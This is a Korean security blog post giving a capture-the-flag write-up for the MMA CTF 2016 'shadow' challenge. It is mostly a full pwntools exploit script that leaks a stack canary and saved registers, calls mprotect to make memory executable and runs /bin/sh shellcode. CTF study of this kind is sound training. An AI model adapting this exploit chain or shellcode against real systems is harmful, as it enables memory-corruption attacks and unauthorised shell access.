cdor1's lab
MMA CTF 2nd 2016 shadow 본문
후기 : shadow stack을 바이너리로 구현해놓은 재미있는 문제였다.
bof 자체가 이전에 save해놨던 eip로만 가기때문에 불가능했지만
name포인터를 덮어 저장되었던 eip를 수정해 mprotect함수로 실행권한을 준 후
리턴 부분을 쉘코드 주소로 돌려 쉘을 얻어냈다. 재밌는 문제였다.
from pwn import *
s = process('./shadow')
shellcode = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80'
print s.recvuntil('Input name : ')
s.sendline('dor1')
print s.recvuntil('Message length : ')
s.sendline('-1')
print s.recvuntil('Input message : ')
s.send('A'*33)
print s.recvuntil('A'*33)
canary = u32('\x00' + s.recv(3))
log.info('canary : ' + hex(canary))
print s.recvuntil('Change name? (y/n) : ')
s.sendline('n')
print s.recvuntil('Message length : ')
s.sendline('-1')
print s.recvuntil('Input message : ')
s.send('A'*44)
print s.recvuntil('A'*44)
ebp = u32(s.recv(4))
eip = u32(s.recv(4))
base = ebp & 0xfffff000
log.info('eip : ' + hex(eip))
log.info('ebp : ' + hex(ebp))
log.info('base : ' + hex(base))
print s.recvuntil('Change name? (y/n) : ')
s.sendline('n')
print s.recvuntil('Message length : ')
s.sendline('-1')
print s.recvuntil('Input message : ')
payload = 'A'*32
payload += p32(canary)
payload += '\x90'*16
payload += p32(ebp - 0x100)
payload += p32(0x100) * 2
s.sendline(payload)
print s.recvuntil('Input name : ')
payload2 = p32(0x080484C0)
payload2 += p32(ebp - 0xe8)
payload2 += p32(base)
payload2 += p32(0x1000)
payload2 += p32(7)
payload2 += '\x90' * 0x50
payload2 += shellcode
s.sendline(payload2)
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
YISF 2016 bugmine (0) | 2017.02.15 |
---|---|
pwnable.kr brain fuck (0) | 2017.02.15 |
openCTF 2016 tyro_heap (0) | 2017.02.14 |
pwnable.kr unlink (0) | 2017.02.13 |
Codegate 2017 babypwn (0) | 2017.02.13 |
Comments